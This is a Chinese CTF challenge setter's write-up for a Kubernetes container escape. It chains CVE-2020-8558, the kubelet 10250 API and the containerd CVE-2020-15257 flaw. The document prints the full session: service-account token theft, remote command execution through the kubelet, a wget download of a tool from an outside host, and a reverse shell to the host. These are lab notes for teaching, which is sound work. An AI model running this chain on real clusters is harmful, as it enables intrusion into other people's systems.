tags: 出题报告,container

出题报告: nday_container_escape

xctf-hwc_qualifier_2020/container/nday_container_escape

2020年XCTF华为云专题赛线上赛中,出了一个容器相关的题目,记录一下。

这类题目在国内比赛中还算少见(似乎是首次?),遗憾的是比赛结束时该题仍是0解,可能跟当天赛程非常紧凑有关。

1. 背景

在筹备比赛题目的时间里,有一个新爆出的漏洞CVE-2020-15257比较火。漏洞出现在docker的关键组件containerd中,当一个容器拥有host网络命名空间时,可以导致容器逃逸。这首次揭示了network namespace的安全风险,具有一定的借鉴意义。

但是,这个漏洞从实践层面上看又有一点鸡肋:

  1. host网络通常较少在实际场景中出现(因为端口转发通常已足够使用)
  2. host网络在CIS docker基线中是一个禁止项,因此成熟的生产环境中,几乎不会出现该场景
  3. 即使使用了host网络的容器,不一定公网可访问,不一定存在命令执行漏洞

为此漏洞的利用场景受限感到惋惜的同时,我希望能构建一个更常用的环境,放大其利用场景。

CVE-2020-8558就是一个绝佳的放大器(不起眼,实战中不一定修复),该漏洞是由于kube-proxy默认设置了route_localnet,允许邻近主机绕过localhost边界。

因此我们可能从一个非host网络容器逃逸!

2. 环境搭建

根据上述分析,我们很容易可以构造这样一个贴近实战的漏洞利用链:CVE-2020-8558—>k8s 10250—>CVE-2020-15257

其环境大致如下:

我将上述环境搭建在了qemu里,选手可以ssh进入qemu中的容器内,发现漏洞并逃逸至qemu。

上述qemu被封装在了一个docker镜像中(所以实际环境是一个docker in qemu in docker的环境),可以使用以下配置启动环境

version: '3'
services:
        challenge:
                image: swr.cn-north-1.myhuaweicloud.com/huaweictf/ctf_nday_docker_escape:v0.1
                ports:
                        - "2222:22"

3. writeup

3.1 信息收集

以ctf/ctf进入环境,我们大致会看到这样一些信息,此时我们位于一个容器内,该容器由k8s启动的

st0n3@yoga:~$ ./ctf.expect 
spawn ssh -o StrictHostKeyChecking=no ctf@1.2.3.4
ctf@1.2.3.4's password: 
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-47-generic x86_64)
...
++ sudo KUBECONFIG=/etc/kubernetes/admin.conf kubectl get pods --selector=app=ubuntu --template '{{range .items}}{{.metadata.name}}{{end}}'
+ name=ubuntu-deployment-55786db8b8-qqmkf
++ sudo docker ps -f name=k8s_ubuntu_ubuntu-deployment-55786db8b8-qqmkf --format '{{.Names}}'
+ container_name=k8s_ubuntu_ubuntu-deployment-55786db8b8-qqmkf_default_e4aaee57-ad1c-42eb-a0c0-a175bdaec7cd_6
+ sudo docker exec -ti -u root k8s_ubuntu_ubuntu-deployment-55786db8b8-qqmkf_default_e4aaee57-ad1c-42eb-a0c0-a175bdaec7cd_6 /bin/bash
root@ubuntu-deployment-55786db8b8-qqmkf:/#
root@ubuntu-deployment-55786db8b8-qqmkf:/# cat /proc/self/cgroup 
12:pids:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
11:rdma:/
10:devices:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
9:hugetlb:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
8:memory:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
7:perf_event:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
6:cpu,cpuacct:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
5:cpuset:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
4:freezer:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
3:blkio:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
2:net_cls,net_prio:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
1:name=systemd:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7
0::/system.slice/containerd.service

因为看到了k8s相关的信息,所以我们可以条件反射式的找到k8s token

root@ubuntu-deployment-55786db8b8-qqmkf:/# cat /var/run/secrets/kubernetes.io/serviceaccount/token 
eyJhbGciOiJSUzI1NiIsI...

宿主机信息收集:

root@ubuntu-deployment-55786db8b8-qqmkf:/# sed -i "s@http://.*ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.list
root@ubuntu-deployment-55786db8b8-qqmkf:/# apt-get update && apt-get install curl -y
security-groupsroot@ubuntu-deployment-55786db8b8-qqmkf:/# curl http://169.254.169.254/latest/meta-data/local-ipv4
192.168.1.117

注意,以上查看宿主机ip的步骤在选手本地环境中无法实现(因为是模拟的云环境),但对宿主机网络进行探测的方式有很多种,不影响解题。

此时我们可以对该ip上开启的服务进行探测

root@ubuntu-deployment-55786db8b8-qqmkf:~# nmap -F 192.168.1.117
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-21 03:16 UTC
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 03:16 (0:00:00 remaining)
Nmap scan report for 192-168-1-117.kubernetes.default.svc.cluster.local (192.168.1.117)
Host is up (0.0000040s latency).
Not shown: 98 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

经过类似上述常规的思路进行信息收集后,我们还是觉得不太够。好在我们本地已有环境的所有内容。我们分析一下比赛提供给选手的本地镜像文件:

╰$ docker ps |grep escape                         
d95748ab048b        swr.cn-north-1.myhuaweicloud.com/huaweictf/ctf_nday_docker_escape:v0.1   "/start_vm.sh"           13 hours ago        Up 13 hours         0.0.0.0:2222->22/tcp                 downloads_challenge_1
╰$ docker exec -ti -u root d95 bash               
root@d95748ab048b:/# ls
bin  boot  cloud.img  cloud.txt  dev  etc  home  init_qemu.expect  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  start_vm.sh  sys  tmp  ubuntu-20.04-server-cloudimg-amd64.img  usr  var

其中,容器的启动文件为start_vm.sh,同时还有cloud.img, cloud.txt, ubuntu-20.04-server-cloudimg-amd64.img等与题目相关的文件。

cloud.txt是环境搭建的具体配置,其中包括qemu的root密码及相关软件的版本(注意,真实环境root密码不同,此处密码仅供选手调试使用)

root@d95748ab048b:/# cat cloud.txt 
#cloud-config
user: root
password: root
....
  - apt-get install -y docker.io kubelet=1.18.3-00 kubeadm=1.18.3-00 kubectl=1.18.3-00

我们也可以直接重置qemu磁盘中的root密码,进入qemu。

我们直接启动qemu,并以root用户进入qemu,以便我们更好的了解题目结构:

# docker version
Client:
 Version:           19.03.8
 API version:       1.40
 Go version:        go1.13.8
 Git commit:        afacb8b7f0
 Built:             Wed Oct 14 19:43:43 2020
 OS/Arch:           linux/amd64
 Experimental:      false

Server:
 Engine:
  Version:          19.03.8
  API version:      1.40 (minimum version 1.12)
  Go version:       go1.13.8
  Git commit:       afacb8b7f0
  Built:            Wed Oct 14 16:41:21 2020
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          1.3.3-0ubuntu2
  GitCommit:        
 runc:
  Version:          spec: 1.0.1-dev
  GitCommit:        
 docker-init:
  Version:          0.18.0
  GitCommit:    
root@ubuntu:~# kubelet --version
Kubernetes v1.18.3

3.2 利用思路

根据相关软件版本信息,我们可以发现以下漏洞

  • k8s: CVE-2020-8558
  • containerd: CVE-2020-15257

但在我们初始进入的容器中,没有CVE-2020-15257必需的host network条件, 但在另一台nginx容器中发现使用了host network

# kubectl get pods
NAME                                 READY   STATUS    RESTARTS   AGE
nginx-deployment-6dc88697bf-tkk6f    1/1     Running   6          3d1h
ubuntu-deployment-55786db8b8-qqmkf   1/1     Running   6          3d
root@hwc-ctf-nday-container-escape-with-flag:~# kubectl get pod nginx-deployment-6dc88697bf-tkk6f -o yaml
...
spec:
  containers:
  - image: nginx:1.14.2
    imagePullPolicy: IfNotPresent
    name: nginx
    ports:
    - containerPort: 80
      hostPort: 80
      protocol: TCP
    resources: {}
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: File
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: default-token-2lcjs
      readOnly: true
  dnsPolicy: ClusterFirst
  enableServiceLinks: true
  hostNetwork: true
...

因此,如果我们可以移动到nginx容器上,则可以利用CVE-2020-15257实现逃逸。

在k8s中移动,很自然得会想到需要一个跳板——k8s api

# netstat -anp |grep kube
tcp        0      0 127.0.0.1:10248         0.0.0.0:*               LISTEN      541/kubelet         
tcp        0      0 127.0.0.1:10249         0.0.0.0:*               LISTEN      4219/kube-proxy     
tcp        0      0 127.0.0.1:10250         0.0.0.0:*               LISTEN      541/kubelet         
tcp        0      0 127.0.0.1:10257         0.0.0.0:*               LISTEN      2943/kube-controlle 
tcp        0      0 127.0.0.1:10259         0.0.0.0:*               LISTEN      2921/kube-scheduler 
tcp        0      0 127.0.0.1:46775         0.0.0.0:*               LISTEN      541/kubelet         
...
tcp6       0      0 :::6443                 :::*                    LISTEN      2934/kube-apiserver 
tcp6       0      0 :::10251                :::*                    LISTEN      2921/kube-scheduler 
tcp6       0      0 :::10252                :::*                    LISTEN      2943/kube-controlle 
tcp6       0      0 :::10256                :::*                    LISTEN      4219/kube-proxy     
tcp6       0      0 192.168.1.117:6443      10.244.0.22:40524       ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      192.168.1.117:4927      ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      192.168.1.117:45714     ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 ::1:6443                ::1:53110               ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      10.244.0.23:53220       ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      192.168.1.117:45776     ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 ::1:53110               ::1:6443                ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      192.168.1.117:45784     ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      192.168.1.117:45716     ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      192.168.1.117:45554     ESTABLISHED 2934/kube-apiserver 
tcp6       0      0 192.168.1.117:6443      192.168.1.117:45556     ESTABLISHED 2934/kube-apiserver

我们发现了127.0.0.1:10250和192.168.1.117:6443较为敏感,但经过尝试我们发现使用容器的token似乎无法访问apiserver的api

root@hwc-ctf-nday-container-escape-with-flag:~# curl -k https://192.168.1.117:6443/api/v1/pods -H "Authorization: Bearer $token"
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {
    
  },
  "status": "Failure",
  "message": "pods is forbidden: User \"system:serviceaccount:default:default\" cannot list resource \"pods\" in API group \"\" at the cluster scope",
  "reason": "Forbidden",
  "details": {
    "kind": "pods"
  },
  "code": 403

但可以使用10250

root@hwc-ctf-nday-container-escape-with-flag:~# curl -k https://127.0.0.1:10250/pods -H "Authorization: Bearer $token"
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-proxy-wkq47","generateName":"kube-proxy-","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-proxy-wkq47","uid":"97f98bae-7c73-4fa2-b10c-769dc04728a1","resourceVersion":"8616","creationTimestamp":"2020-12-18T02:10:44Z","labels":{"controller-revision-hash":"6c749dc6c4","k8s-app":"kube-proxy","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2020-12-19T22:46:29.084763601+08:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-proxy","uid":"47cbac3b-60f0-440e-b73d-079740a4bb46","controller":true,"blockOwnerDele...

因此我们可由10250移动至nginx

但问题是10250是绑定在宿主机127.0.0.1上的,在容器内无法直接访问。这时我们可以很自然的联想到CVE-2020-8558。

因此完整的利用链如下

  1. 在ubuntu容器中利用CVE-2020-8558,访问宿主机127.0.0.1
  2. 利用ubuntu容器中的token,访问宿主机的10250端口,横向移动至nginx容器
  3. 在nginx容器中利用CVE-2020-15257逃逸至宿主机

3.3 完整利用过程

root@ubuntu-deployment-55786db8b8-qqmkf:/# sed -i "s@http://.*ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.list
root@ubuntu-deployment-55786db8b8-qqmkf:/# apt-get update 
root@ubuntu-deployment-55786db8b8-qqmkf:/# apt-get install -y curl wget python3 python3-pip
root@ubuntu-deployment-55786db8b8-qqmkf:/# pip3 install scapy
root@ubuntu-deployment-55786db8b8-qqmkf:/# python3 poc-2020-8558.py 192.168.1.117 &
[1] 4414
root@ubuntu-deployment-55786db8b8-qqmkf:/# token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) 
root@ubuntu-deployment-55786db8b8-qqmkf:/# url="https://198.51.100.1:10250"
root@ubuntu-deployment-55786db8b8-qqmkf:/# api="/run/default/$target/nginx"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -k  $url/pods -H "Authorization: Bearer $token"
{"kind":"PodList"...
root@ubuntu-deployment-55786db8b8-qqmkf:/# target="nginx-deployment-6dc88697bf-tkk6f"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k  $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d 'cmd=sed -i s@http://.*debian.org@http://repo.huaweicloud.com@g /etc/apt/sources.list'
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k  $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=apt-get update"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k  $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=apt-get install -y wget"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k  $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=wget https://1.2.3.4/cdk_linux_amd64"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k  $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=chmod -c 755 cdk_linux_amd64"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k  $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=./cdk_linux_amd64 run shim-pwn 10.244.0.21 2333"

接收反弹shell

root@ubuntu-deployment-55786db8b8-qqmkf:/# nc -lvp 2333
Listening on 0.0.0.0 2333
Connection received on 10.244.0.1 46900
bash: cannot set terminal process group (4366): Inappropriate ioctl for device
bash: no job control in this shell
<f096a309f175a39f23fce68ffc0032ee64916c/merged/tmp# hostname
hostname
hwc-ctf-nday-container-escape-with-flag
<f096a309f175a39f23fce68ffc0032ee64916c/merged/tmp# cat /flag
cat /flag
flag{1ffc4afe-d52a-4476-ad00-1f5c8e9a063d}

注:本文使用的相关cve的exp分别为: